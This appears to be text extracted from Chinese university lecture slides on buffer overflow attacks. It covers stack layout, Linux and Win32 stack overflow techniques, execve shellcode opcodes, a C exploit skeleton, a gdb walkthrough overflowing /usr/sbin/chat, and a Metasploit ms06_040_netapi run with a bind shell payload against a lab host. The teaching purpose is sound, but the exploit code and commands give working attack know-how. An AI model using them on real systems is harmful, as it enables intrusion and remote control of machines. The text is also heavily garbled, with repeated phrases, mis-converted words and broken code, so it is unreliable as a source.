107、间: 从0x00400000开场p栈: 向低地址增长p单线程进程: (栈底地址: 0x0012FFXXXX)p多线程进程拥有多个堆/栈pExample: ./win32/background/memory.c192华东理工大学计算机科学与工程系汇编言语根底知识存放器寄存器名说明功能eax:累加器累加器加法乘法指令的缺省寄存器加法乘法指令的缺省寄存器, 函数返回函数返回值ecx计数器数器REP & LOOP指令的内定指令的内定计数器数器edx除法寄存器除法寄存器存放整数除法存放整数除法产生的余数生的余数ebx: 基址寄存器基址寄存器在内存在内存寻址址时存放基地址存放基地址esp栈顶指指针寄存器寄
108、存器SS:ESP当前堆当前堆栈的的栈顶指指针ebp栈底指底指针寄存器寄存器SS:EBP当前堆当前堆栈的的栈底指底指针esi, dei源、目源、目标索引寄存器索引寄存器在字符串操作指令中,在字符串操作指令中,DS:ESI指向源串指向源串ES:EDI指向目指向目标串串eip 指令寄存器指令寄存器CS:EIP指向下一条指令的地址指向下一条指令的地址eflags标志寄存器志寄存器标志寄存器志寄存器cs代代码段寄存器段寄存器当前当前执行的代行的代码段段ss椎椎栈段寄存器段寄存器stack segment, 当前堆当前堆栈段段ds数据段寄存器数据段寄存器data segment, 当前数据段当前数据段19
109、3华东理工大学计算机科学与工程系汇编言语根底知识汇编指令p AT&T 格式与Intel 格式 命令解释PUSH%esp -= 4; movl %REG, (%esp)POP movl (%esp), %REG; %esp += 4JMPmovl addr, %eipCALLpushl %eip; %eip = addressLEAVEmov %ebp, % esp; pop %ebpRETpopl %eip194华东理工大学计算机科学与工程系栈的根本构造p栈LIFO笼统数据构造p用于实现函数或过程调用p相关存放器pBP (Base Pointer) = FP (Frame Pointer):
110、当前栈底指针pSP (Stack Pointer): 当前栈顶指针p相关操作pPUSH: 压栈pPOP: 弹栈195华东理工大学计算机科学与工程系函数调用过程p函数调用过程的三个步骤pprologue: 保管当前的栈基址 (ebp).pcall: 调用参数和前往地址(eip)压栈,跳转到函数入口preturn (or epilogue): 恢复调用者原有栈196华东理工大学计算机科学与工程系函数调用过程例如21Ret-addebpretValStack frameesp esp esp espmain ebpespfunc ebpespespespespesp197华东理工大学计算机科学与工程
111、系缓冲区溢出攻击的根源p没有内嵌支持的边境维护pUser funcspAnsi C/C+: strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets(), scanf()p程序员平安编程技巧和认识p可执行的栈(堆)p给出Shell或执行恣意的代码198华东理工大学计算机科学与工程系缓冲区溢出例如199华东理工大学计算机科学与工程系栈溢出攻击的原理p当调用函数时pCall指令会将前往地址Call指令下一条指令地址压入栈pRet指令会把压栈的前往地址弹给EIPp栈溢出攻击的原理p经过缓冲区溢出修正栈中的前往地址p当函数调用前往,EIP获得被修
112、正后的前往地址,并执行Shellcodep挑战1: 将修正后的前往地址填到正确的位置p挑战2: 前往地址能正确地指向Shellcode200华东理工大学计算机科学与工程系char shellcode = xebx1fx;char large_string128;int main(int argc, char *argv) char buffer96; int i; long *long_ptr = (long *) large_string; for (i = 0; i 32; i+) *(long_ptr + i) = (int) buffer; for (i = 0; i (int) st
113、rlen(shellcode); i+) large_stringi = shellcodei; strcpy(buffer, large_string); return 0;Return addBuffer(96bytes)ilong_ptr高地高地址址低地低地址址Para2 Para1Return addReturn addReturn addReturn addshellcode栈溢出攻击例如201华东理工大学计算机科学与工程系Linux系统下的栈溢出攻击p栈溢出攻击pNSR方式pNRS方式pR.S方式pShellcodep真实世界中的栈溢出攻击202华东理工大学计算机科学与工程系NOP
114、shellcodeLow AddressNOPNOPRETRETRETHigh Addressvulnerable1.c: stackexploit1.c:NSR溢出方式203华东理工大学计算机科学与工程系RETshellcodeLow AddressRETRETNOPNOPNOPHigh Addressvulnerable2. c: stackexploit2.c:RNS溢出方式204华东理工大学计算机科学与工程系shellcodeLow AddressFILE NULLHigh Addressvulnerable2.c: stackexploit3.c:0xc0000000RETRETRE
115、TR.S溢出方式利用环境变量205华东理工大学计算机科学与工程系栈溢出方式分析p挑战p溢出点 (在哪改写前往地址?)pShellcode地址 (将前往地址改写成什么?)pNSR方式p最经典的方法 Alpha One p需求破绽程序有足够大的缓冲区pRNS方式p可以适宜小缓冲区情况,更容易计算前往地址pR.S方式p最新的方法: execve (filename, argv , envp);pRet = 0xc0000000 4 strlen (FILENAME) strlen (shellcode), 不需求任何NOPp但对远程缓冲区溢出攻击不适用206华东理工大学计算机科学与工程系Shellc
116、ode C版本207华东理工大学计算机科学与工程系Shellcode 汇编版本shellcode_asm.cshellcode_asm_fix.c去除去除0208华东理工大学计算机科学与工程系Shellcode Opcode版本p31 d2xor %edx,%edxp52push %edxp68 6e 2f 73 68push $0x68732f6ep68 2f 2f 62 69push $0x69622f2fp89 e3mov %esp,%ebxp52push %edxp53push %ebxp89 e1mov %esp,%ecxp8d 42 0blea 0xb(%edx),%eaxpcd
117、80int $0x80209华东理工大学计算机科学与工程系给出远程登录的Shellcode210华东理工大学计算机科学与工程系浸透防火墙的Shellcodepfcntl设置socket形状pscznsfocusp发送OOB数据pbkbllcnhonkep利用ioctl函数的FIONREAD选项peyasxfocusp文件上传下载功能211华东理工大学计算机科学与工程系在真实Linux世界中的栈溢出攻击p2003/09 - /usr/sbin/chat stack overflowp寻觅溢出点pgdb /usr/sbin/chatp(gdb) run perl -e print A x 1056
118、p* eip 0x41414141 0x41414141p(gdb) run perl -e print A x 1000pProgram exited with code 03.p前往地址pret=0xc0000000-strlen(shellcode)-strlen(/usr/sbin/chat)-sizeof(void *);pHere we go!实战训练pchar *env=HOME=/root,shellcode,NULL;pfor(i=1000;i1056;i+=4)p *(long *)&bufi=ret;pexecve(p0,p,env);pWhy not root? - (
119、not setuid program)212华东理工大学计算机科学与工程系Win32系统下的栈溢出攻击p栈溢出攻击p本地栈溢出例如p远程栈溢出攻击pShellcodep真实Win32世界中的栈溢出攻击213华东理工大学计算机科学与工程系破绽程序214华东理工大学计算机科学与工程系如何利用?与Linux平台有何不同?pWin32平台与Linux平台的不同之处p如何进展系统调用shellcode方式不同pWin32: 经过调用系统DLL提供的接口函数pLinux: 经过中断进展系统调用p对废弃栈的处置NSR方式不适用于Win32pWin32: 写入一些随机的数据pLinux: 不进展任何处置p进程
120、内存空间的分布NRS与R.S方式同样不适用于Win32pWin32: 栈在1G以下的用户空间,地址中有空字节pLinux: 栈在3G(0xc0000000)附近,地址中没有空字节215华东理工大学计算机科学与工程系Win32对废弃栈的处置如何以Shellcode地址覆盖前往地址?NSR方式R指向了Shellcode地址, 但执行“mov esp,ebp恢复调用者栈信息时,Win32会在被废弃的栈中填入一些随机数据。WE LOST SHELLCODE! 调用者的栈调用者的栈调用参数调用参数前往地址前往地址EBP部分变量部分变量 Shellcode地址地址RSSSSSSSSNNNNNNNNEBPE
121、SPESP%216华东理工大学计算机科学与工程系如何以Shellcode地址覆盖前往地址?NRS方式栈在1G(0x00FFFFFF)以下假设R直接指向Shellcode,那么在R中必然含有空字节0. Shellcode将被截断 we lost shellcode AGAIN!R.S方式Win32平台无SUID机制,本地溢出没有意义同样会由于R中含空字节被截断调用者的栈调用者的栈调用参数调用参数Return addressEBP部分变量部分变量 Shellcode地址地址地址地址R中含空中含空字节字节SSSSRNNNNNNNNWin32栈地址含有空字节217华东理工大学计算机科学与工程系如何处理
122、?p经过Jmp/Call ESP指令跳转p1998: Dildog-提出利用栈指针的方法完成跳转p1999: Dark Spyrit-提出运用系统中心DLL中的Jmp ESP指令完成跳转p跳转指令在哪?pOllyUni插件提供Overflow Return Address功能p代码页里的地址: 不受任何系统版本及SP影响,但受言语区域选择影响。p运用程序加载的用户DLL,取决于详细的运用程序,能够较通用。p系统未变的DLL,特定发行版本里不受SP影响,但不同言语版本加载基址能够会不同。218华东理工大学计算机科学与工程系经过跳转指令执行Shellcode如何利用跳转指令让破绽程序正确执行我们的
123、Shellcode0040100F |. E8 0C000000 CALL 00401014 |. 83C4 08 ADD ESP,800401017 |. 8BE5 MOV ESP,EBP00401019 |. 5D POP EBP0040101A . C3 RETNNOW ESP POINTS TO SHELLCODE!调用者的栈调用者的栈调用参数调用参数Return addressEBP部分变量部分变量SSSSRNNNNNNNNEBPESPESPESPESPJMP ESPJMP ESP219华东理工大学计算机科学与工程系Win32远程缓冲区溢出p远程缓冲区溢出演示p缓冲区溢出破绽效力器端
124、程序:server.cppp远程缓冲区溢出攻击代码:exploit.cp构造化异常处置SEHpserver_seh.cpp进展了异常处置,exploit时前往前异常触发,程序流进入异常处置pSEH保管在栈中,对其进展覆盖pXP和2003的加强异常处置VEH向量化异常处置p异常处置次序: 调试器 VEH SEHpVEH保管在堆里pDavid Litchfield: “Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server220华东理工大学计算机科学与工程系Win
125、32 Shellcode C言语版221华东理工大学计算机科学与工程系Win32 Shellcode 汇编言语版222华东理工大学计算机科学与工程系Win32 Shellcode Opcode版223华东理工大学计算机科学与工程系Win32完好的本地Shellcodepshellcode_asm_full.c - 三个API调用过程:pLoadLibrary(msvcrt.dll);psystem(command);pexit(0);p平台相关的API入口地址psystem() and exit()p运用LoadLibrary()和GetProcAddress() 获取其他API函数入口地址p
126、GetProcAddress()和LoadLibrary()的地址可以在破绽程序的Import Address Table找到pGetProcAddress()和LoadLibrary()的地址对于一个特定版本的Win32平台是固定的从Kernel32.dll中获取其地址224华东理工大学计算机科学与工程系从Kernel32.dll获取地址p获取Kernel32.dll加载基址p从PEB进程环境块获取p获取Windows API地址pHash算法减少API名字长度4字节ph=(h7)+cp经过PE构造e_lfanew找到PE头pPE基址偏移0x78引出表目录指针DataDirectory,其前
127、两个元素分别对应ExportDirectory和ImportDirectoryp引出ExportDirectory中的每个函数称号,做hash计算,与原先保管的hash值进展比较,相等那么找到对应API入口地址225华东理工大学计算机科学与工程系适用的Win32 ShellcodepXor编码消除空字节p给出远程衔接pCreate server and listenpAccept client connectionpCreate a child process to run “cmd.exepCreate two pipes and links the shell with socketpCo
128、mmand: Client send recv Server write pipe2 stdin Cmd.exepOutput: Client recv send Server read pipe1 dcomrpc_magickey_win -h 127.0.0.1 -t6228华东理工大学计算机科学与工程系总结p缓冲区溢出攻击的根本简介p背景知识p根本概念p开展历史p根本原理pLinux平台下的栈溢出攻击pWin32平台下的栈溢出攻击229华东理工大学计算机科学与工程系缓冲区溢出攻击缓冲区溢出攻击演讲人:演讲人:Alex Sunrise230华东理工大学计算机科学与工程系主要内容主要内容p缓
129、冲区溢出相关概念p缓冲区溢出攻击根本原理p实例分析缓冲区溢出p实例演示:运用Metasploit工具远程溢出windows2000效力器231华东理工大学计算机科学与工程系缓冲区溢出相关概念缓冲区溢出相关概念p缓冲区缓冲区(Buffer)(Buffer)p缓冲区是程序在运转期间开辟出来保管缓冲区是程序在运转期间开辟出来保管p数据的一段内存空间。数据的一段内存空间。p缓冲区溢出缓冲区溢出p指当程序向缓冲区内填充的数据位数超指当程序向缓冲区内填充的数据位数超p过了缓冲区本身的容量,溢出数据就会过了缓冲区本身的容量,溢出数据就会p覆盖程序为其它数据分配的内存空间。覆盖程序为其它数据分配的内存空间。p
130、缓冲区溢出攻击缓冲区溢出攻击p指利用缓冲区溢出破绽指利用缓冲区溢出破绽, ,对目的操作系统对目的操作系统p发起攻击的一种恶意行为。发起攻击的一种恶意行为。232华东理工大学计算机科学与工程系缓冲区溢出相关概念缓冲区溢出相关概念p栈中三个重要的存放器栈中三个重要的存放器pESPESPp栈顶指针,随着数据出栈入栈而发生变化。栈顶指针,随着数据出栈入栈而发生变化。pEBPEBPp基地址指针,标识栈中一个相对稳定的位置,经过基地址指针,标识栈中一个相对稳定的位置,经过BPBP可以可以方便的援用函数参数以及部分变量。方便的援用函数参数以及部分变量。pEIPEIPp函数调用前往后下一个执行语句的地址。函数
131、调用前往后下一个执行语句的地址。233华东理工大学计算机科学与工程系pShellcodeShellcodepShellcodeShellcode是植入代码的中心组成部分是植入代码的中心组成部分, ,其功能主要是完成其功能主要是完成一定的系统调用,其本质就是一段可以完成某种特定功能一定的系统调用,其本质就是一段可以完成某种特定功能的二进制代码。的二进制代码。p根本功能根本功能p添加添加administrator or rootadministrator or root组用户组用户p得到远程得到远程shellshellp高级功能高级功能p抗网络入侵检测系统抗网络入侵检测系统NIDSNIDS检测检测
132、p穿透防火墙穿透防火墙pRETRET前往地址前往地址pRETRET中存储的是中存储的是EIPEIP的值的值, ,程序根据该值完成执行流向的跳程序根据该值完成执行流向的跳转转, ,在缓冲区溢出攻击中指向在缓冲区溢出攻击中指向ShellcodeShellcode的入口地址。的入口地址。缓冲区溢出相关概念缓冲区溢出相关概念前往前往234华东理工大学计算机科学与工程系缓冲区溢出攻击根本原理缓冲区溢出攻击根本原理p栈是一种先进后出的数据构造,当发起函数调用时,函数参数(arg1、arg2) 按照逆序进栈,接着将函数的前往地址(RET) 压栈, 接下来依p 次将EBP和被调函数内的部分变量(buffer)
133、压栈。p栈的生长方向是从内存的高地址向低地址生长(以下图箭头(1)所示),和内存地址的增长方向刚好相反, 缓冲区buffer内的数据从低地址向高p 地址填充(以下图箭头(2)所示)。在填充数据时,假设没有对缓冲区边境进展检查和限制,那么当填入的数据超出缓冲区大小时,填入的数据会继续覆盖后面的EBP,甚至RET,呵斥缓冲区溢出。发生缓冲区溢出时,溢出数据覆盖了EBP和RET,导致栈解体,但是假设将覆盖到RET的数据精心设计为能跳转到一段恶意代码(shellcode)的地址,那么在函数调用前往时,程序将根据RET的值跳转到shellcode上继续执行(以下图箭头(3)所示)。235华东理工大学计算
134、机科学与工程系.arg2arg1RETEBPbuffer 部分部分变变量量 shellcode内存高地址内存高地址.内存低地址内存低地址栈底底栈顶(1)(2)(3)前往前往236华东理工大学计算机科学与工程系实例分析缓冲区溢出p缓冲区溢出实例缓冲区溢出实例p#includep#includepchar name=abcdefghijklmnopqrstuvwxyz ; pint main()ppint i;pchar output8;pstrcpy(output,name);pfor (i=0;i8 & outputi;i+)pprintf(0x%x,outputi);preturn 0;p2
135、37华东理工大学计算机科学与工程系实例分析缓冲区溢出238华东理工大学计算机科学与工程系前往前往239华东理工大学计算机科学与工程系实例演示实例演示pMetasploit FrameworkMetasploit Framework MSFMSF 引引见见pMSFMSF是是20042004年拉斯年拉斯维维加斯加斯BlackhatBlackhat黑客大会黑客大会发发布的,它的布的,它的p发发布在平安界引起布在平安界引起剧剧烈地震,甚至有人把它描画成烈地震,甚至有人把它描画成“可以可以p黑掉整个球。黑掉整个球。pMSFMSF是一个是一个强强大的开源平台,供开大的开源平台,供开发发、测试测试运用。运用
136、。这这种可种可扩扩p展的模型将展的模型将负载负载控制、控制、编码编码器、器、shellcodeshellcode生成器和生成器和破破绽绽整整p合在一同,使合在一同,使MSFMSF成成为为一种研一种研讨讨高危破高危破绽绽的的绝绝佳途径。佳途径。240华东理工大学计算机科学与工程系实例演示实例演示p实验环境实验环境p目的主机目的主机pTarget: windows2000Target: windows2000pIPIP:202.113.72.200202.113.72.200p所需破绽和所需破绽和PayloadPayloadpExploit: windows/smb/ms06_040_netapi
137、Exploit: windows/smb/ms06_040_netapipPayload: windows/shell/bind_tcpPayload: windows/shell/bind_tcp241华东理工大学计算机科学与工程系实例演示实例演示p查看目的的主机IP地址ipconfig242华东理工大学计算机科学与工程系实例演示实例演示p查看破绽信息查看破绽信息 info exploit/windows/smb/ms06_040_netapi243华东理工大学计算机科学与工程系244华东理工大学计算机科学与工程系实例演示实例演示p选择要利用的破绽并查看配置选项选择要利用的破绽并查看配置选项
138、use exploit/windows/smb/ms06_040_netapishow options245华东理工大学计算机科学与工程系246华东理工大学计算机科学与工程系实例演示实例演示p选择要运用的选择要运用的payloadpayload,即,即shellcodeshellcodepset PAYLOAD windows/shell/bind_tcpset PAYLOAD windows/shell/bind_tcpp设设定目的主机定目的主机pset RHOST 202.113.72.200 set RHOST 202.113.72.200 p设设置本地置本地监监听端口听端口pset L
139、PORT 5555 set LPORT 5555 p查查看配置情况看配置情况pshow options show options p设设置目的主机置目的主机类类型型为为windows2000windows2000 可可选选 pset TARGET 0 set TARGET 0 247华东理工大学计算机科学与工程系248华东理工大学计算机科学与工程系实例演示实例演示p执行并入侵目的主机执行并入侵目的主机exploitexploit249华东理工大学计算机科学与工程系250华东理工大学计算机科学与工程系缓冲区溢出攻击251华东理工大学计算机科学与工程系缓冲区溢出攻击技术原理p缓冲区溢出是一种非常普
140、遍、非常危险的破绽,在各种操作系统、运用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运转失败、系统当机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以获得系统特权,进而进展各种非法操作。252华东理工大学计算机科学与工程系缓冲区溢出攻击技术原理p缓冲区溢出改动在堆栈中存放的过程前往地址,从而改动整个程序的流程,使它转向任何攻击者想要它去的地方,为攻击者提供了可乘之机。253华东理工大学计算机科学与工程系缓冲区溢出攻击技术原理p攻击者利用堆栈溢出攻击最常见的方法是:在长字符串中嵌入一段代码,并将函数的前往地址覆盖为这段代码的起始地址,这样当函数前往时,程序将转而开场执行这段
141、攻击者自编的代码了。254华东理工大学计算机科学与工程系255华东理工大学计算机科学与工程系例如p#includep#includepchar name = “ww0830;pu pint main()ppchar output8;pstrcpy(output, name);pfor(int i=0;i8&outputi;i+) pprintf(0x%x,outputi);preturn 0;p256华东理工大学计算机科学与工程系运转后的结果257华东理工大学计算机科学与工程系打出来的是 0x770x770x300x380x330x30 ,77就是w的16进制表示,而30、38、33、30就是
142、0830的16进制表示。 “ strcpydes,source 这个拷贝函数是把第二个参数source的值拷给第一个参数des。它不检查拷贝的长度,它会不断拷贝,直到source到结尾。 258华东理工大学计算机科学与工程系修正后的例子p#includep#includepchar name = “abcdefgh;pint main()ppchar output8;pstrcpy(output, name);pfor(int i=0;i8&outputi;i+) pprintf(0x%x,outputi);preturn 0;p259华东理工大学计算机科学与工程系运转后的结果260华东理工大
143、学计算机科学与工程系再次修正后的例子p#includep#includepchar name = “abcdefghijklmnopqrstuvwxyz ;pint main()ppchar output8;pstrcpy(output, name);pfor(int i=0;i8&outputi;i+) pprintf(0x%x,outputi);preturn 0;p261华东理工大学计算机科学与工程系运转后的结果262华东理工大学计算机科学与工程系p0x706f6e6d援用的0x706f6e6d内存,该内存不能为read。pabcd是61626364, 6d6e6f70 是mnop。 2
144、63华东理工大学计算机科学与工程系分析p堆堆栈 。计算机算机为了能回了能回头继续处置原来的事情,置原来的事情,就需求把原来指令的指就需求把原来指令的指针EIP保管在堆保管在堆栈中;当要中;当要回去原来的地方回去原来的地方时,就把保管在堆,就把保管在堆栈中的中的EIP恢复恢复即可。并且各个函数的部分即可。并且各个函数的部分变量的分配也是在堆量的分配也是在堆栈中。中。p堆堆栈是一数据构造,遵照是一数据构造,遵照“先先进后出,后后出,后进先出先出的的规那么。那么。264华东理工大学计算机科学与工程系p“第一次我们输入的是abcdefgh。由于要进入main函数,所以系统把之前的EIP和EBP保管在堆
145、栈中,便于以后恢复;然后为output8在堆栈中分配8个char,拷贝abcdefgh到其中。265华东理工大学计算机科学与工程系p第二次输入abcdefghijklmnopqrstuvwxyz时,output分配的还是8个字节,但却拷了26个字母进来。由于拷贝的字母过长,不仅把分配给output的8个字节占据完了,而且还继续往下,把保管的EBP和EIP给占据了。 266华东理工大学计算机科学与工程系p当执行完main函数后,系统要恢复EBP、EIP,而EIP曾经被我们覆盖成ponm即6d6e6f70了。但系统不知道,就会去执行6d6e6f70位置的内容。而那个位置是不可读的,所以就会出错。